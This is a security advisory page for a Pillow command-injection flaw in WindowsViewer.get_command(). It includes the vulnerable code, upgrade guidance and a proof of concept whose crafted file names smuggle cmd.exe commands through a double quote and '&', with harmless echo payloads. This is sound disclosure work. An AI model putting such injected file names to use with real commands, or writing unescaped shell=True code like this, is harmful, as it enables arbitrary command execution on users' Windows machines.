CVE-2026-55798: Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
Medium CVSS 4.5
- OSV id
- GHSA-4x4j-2g7c-83w6
- Also known as
- BIT-pillow-2026-55798, CVE-2026-55798, PYSEC-2026-2257
- Published
- Last modified
Affected packages
| Package | Affected versions | Fixed in |
|---|---|---|
| pillow PyPI |
< 12.3.0 | 12.3.0 |
Versions we track that it affects: pillow 10.4.0
How to fix it
Upgrade pillow to 12.3.0 or later.
# in requirements.txt: change the line to pillow==12.3.0
pip install -r requirements.txt
- If it is an indirect dependency, upgrade the package that depends on it, or add a minimum version constraint for it (e.g. in constraints.txt, or as a dependency in pyproject.toml).
- Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.
Not sure whether your project uses an affected version? Check your lockfile below for free.
Details
1. Summary
WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.
The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.
2. Vulnerable Code
File: src/PIL/ImageShow.py, lines 133–150
class WindowsViewer(Viewer):
format = "PNG"
options = {"compress_level": 1, "save_all": True}
def get_command(self, file: str, **options: Any) -> str:
return (
f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping
"&& ping -n 4 127.0.0.1 >NUL "
f'&& del /f "{file}"' # ← same path, unescaped again
)
def show_file(self, path: str, **options: Any) -> int:
if not os.path.exists(path):
raise FileNotFoundError
subprocess.Popen(
self.get_command(path, **options),
shell=True, # ← shell=True
creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
) # nosec # ← Bandit warning suppressed manually
return 1
Contrast with macOS — SAFE (line 164–168):
class MacViewer(Viewer):
def get_command(self, file: str, **options: Any) -> str:
command = "open -a Preview.app"
command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
return command # ← shlex.quote() applied
Cross-platform summary:
| Platform | Class | shlex.quote()? |
shell=True? |
Safe? |
|---|---|---|---|---|
| macOS | MacViewer |
Yes (line 168) | No (list args) | ✅ Yes |
| Linux | UnixViewer |
Yes (line 207) | No (list args) | ✅ Yes |
| Windows | WindowsViewer| No (line 134–137) |
Yes (line 148) | ❌ No |
shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.
3. Proof of Concept
A full working PoC is at poc_pillow_injection.py. Key parts:
Part A — Injection string construction (static, no execution):
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)
# ├─ & echo PWNED → INJECTED COMMAND
# └─ & echo "" && ping ... → continues
Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):
import os, tempfile
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
# Craft injection: payload writes a marker file (harmless)
payload = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)
# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)
assert os.path.exists(marker) # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read() # PASSES
# → CONFIRMED: arbitrary command injection via get_command()
References
- GHSA-4x4j-2g7c-83w6 on OSV.dev
- Web: https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-55798
- Web: https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a
- Web: https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4
- Web: https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f
- Web: https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml
- Package: https://github.com/python-pillow/Pillow
- Web: https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
Am I affected?
Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.
About this data
Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.